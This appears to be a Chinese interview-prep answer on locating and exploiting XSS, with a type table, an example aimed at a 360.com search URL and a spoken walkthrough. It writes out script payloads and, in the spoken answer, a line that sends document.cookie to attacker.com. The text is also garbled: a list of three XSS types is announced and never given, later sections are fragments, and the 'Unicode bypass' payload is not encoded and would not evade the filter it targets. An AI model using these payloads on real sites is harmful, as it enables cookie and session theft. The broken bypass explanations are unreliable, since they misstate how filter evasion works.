
1) 【一句话结论】定位并利用未知XSS漏洞需通过输入点分析、过滤逻辑深度分析、工具辅助抓包,核心是绕过过滤使恶意脚本执行,最终实现漏洞利用(如窃取Cookie、重定向等)。
2) 【原理/概念讲解】XSS(跨站脚本)是恶意脚本注入,导致用户浏览器执行。分为三类:
3) 【对比与适用场景】
| 类型 | 定义 | 过滤逻辑常见方式 | 典型绕过技术 | 利用场景 |
|---|---|---|---|---|
| 反射型 | 输入后立即返回,无存储 | 正则匹配(如过滤<script)、简单编码过滤 | URL编码、Unicode编码绕过正则 | 搜索、推荐链接 |
| 存储型 | 输入存储数据库,后续访问 | 白名单(允许特定字符)、数据库注入过滤 | 编码绕过白名单、利用白名单不完整 | 评论、用户名 |
| DOM型 | DOM操作触发,无服务器存储 | 事件绑定过滤(如过滤on事件)、DOM属性过滤 | 事件触发payload(如点击按钮后插入脚本)、DOM属性绕过 | 点击按钮、动态内容 |
4) 【示例】假设360浏览器搜索框URL参数q,服务器端过滤正则匹配<script(如/<script/),构造Unicode编码绕过payload:http://360.com/search?q=<script>alert(1)&</script>。测试时,输入该URL,页面显示搜索结果并弹出alert(1),说明存在反射型XSS。若需窃取Cookie,构造http://360.com/search?q=<script>document.cookie</script>,验证是否获取Cookie。
5) 【面试口播版答案】面试官您好,定位并利用未知XSS漏洞的流程,我会分步骤讲:首先分析页面所有输入点,比如URL参数、表单输入框、API接口,用浏览器开发者工具(Chrome DevTools)检查这些输入点如何被服务器处理,比如是否经过过滤或编码。然后,构造基础payload,比如<script>alert(1)</script>,分别测试不同输入位置(URL、表单、API),看是否触发弹窗。如果某个位置能弹出alert,说明存在反射型XSS;如果需要用户点击按钮后执行,可能涉及DOM型。接下来,分析过滤逻辑,比如检查响应头或源码中的过滤函数,判断是否为正则匹配(如过滤<script),尝试编码绕过,比如用Unicode编码构造<script>alert(1)&</script>,测试是否仍能执行。验证后,构造更复杂的payload,比如窃取Cookie(document.cookie)或重定向(window.location.href='http://attacker.com?c=' + document.cookie),确认漏洞利用。过程中,用抓包工具(如Fiddler)分析请求响应,确保payload正确传递,多次测试不同用户环境(如不同浏览器、操作系统)验证漏洞的稳定性。
6) 【追问清单】
onclick='javascript:alert(1)')。7) 【常见坑/雷区】